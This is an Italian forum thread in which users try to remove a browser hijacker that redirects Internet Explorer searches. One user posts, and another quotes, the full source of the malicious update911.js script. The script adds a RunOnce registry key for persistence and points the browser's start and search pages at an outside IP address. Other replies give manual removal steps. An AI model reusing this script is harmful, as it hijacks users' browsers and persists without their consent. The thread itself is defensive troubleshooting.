eliminare un 'Host reindirizzato'

[noncisononick]

Salve...eccomi 2 ore dopo la pulizia fatta sul mio pc, nel registro di sistema, di tutto quello che era infettato. Ho usato Spybot e l'unica cosa che non riesco a togliere è un file:

Common hijacker: Host reidirizzato auto.search.msn.com=205.177.124.66


identificato non come file...ma come 'Host reindirizzato'...


chi mi da una mano?

[noncisononick]

Nessuno mi sa dare una mano?

[Dwarf]

Ho solo un link
http://www.web-link.it/cgi-bin/forum...ow.pl?tid=4480
Mi sembra che ci siano tutte le istruzioni per la rimozione del virus

[noncisononick]

Ho trovato il file HOSTS...e lo ho proprio cancellato...come ho cancellato nel reg di sistema tutta la cartella MAIN di InternetExplorer...ma nulla! acceso e rispento il pc...ho trovato di nuovo la home page cambiata.
Spybot search continua a trovare un unico probòema: l'HOST REAINDIRIZZATO...


altri suggerimenti?

[Lancill]

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run

hai controllato qui?

[noncisononick]

quale delle voci devo controllare? ...o quale dovrebbe essere falsata?

[P!nk]

Ho lo stesso problema da 3 giorni

dovrebbe essere colpa di update911.js, l'ho trovato in C:\Windows\ ...viene avviato automaticamente da windows quando si accende il sistema


questo è quanto c'è dentro
/----------------------------------------------------------/
var url = "http://81.211.105.9/index.php?v=1";
var burl = "http://81.211.105.9/search.php?v=1";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update911.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows \\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\Main\\Use Search Asst","no");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");
/----------------------------------------------------------/

è inutile cambiare manualmente i registri, dopo poco ricomincia come prima

ora l'ho cancellato e rimesso a posto registri e Proprietà internet, vediamo che succede tra 5 minuti

[tia86]

Originariamente inviato da P!nk
Ho lo stesso problema da 3 giorni

dovrebbe essere colpa di update911.js, l'ho trovato in C:\Windows\ ...viene avviato automaticamente da windows quando si accende il sistema


questo è quanto c'è dentro
/----------------------------------------------------------/
var url = "http://81.211.105.9/index.php?v=1";
var burl = "http://81.211.105.9/search.php?v=1";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update911.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows \\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\Main\\Use Search Asst","no");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");
/----------------------------------------------------------/

è inutile cambiare manualmente i registri, dopo poco ricomincia come prima

ora l'ho cancellato e rimesso a posto registri e Proprietà internet, vediamo che succede tra 5 minuti

mi ero beccato ankio quella bestiaccia, fai una scansione con SpyBot aggiornato e te lo blocca

[P!nk]

l'ho scaricato due giorni fa, 5 minuti e ritorna come prima

stò provando (x ora invano) a cancellare un file da Temp, se ci riesco ad entrare con il Dos nella cartella gli dò un bel Del e lo faccio fuori

...sempre ammesso che dipende da quello

[Lancill]

x il file di web hijack update911.js:

Procedura per cancellarlo:
1 - apri il registro (START -> ESEGUI -> REGEDIT)
2 - cerca "update911.js" e cancella tutte le relative chiavi
3 - cerca "http://81.211.105.9/index.php?v=1" e cancella le relative chiavi
4 - vai nella cartella di WINDOWS e cancella il file update911.js

x noncisononick:

devi vedere le voci sospette, se non le conosci posta tutte le chiavi qui sul forum vediamo un po' che ne esce fuori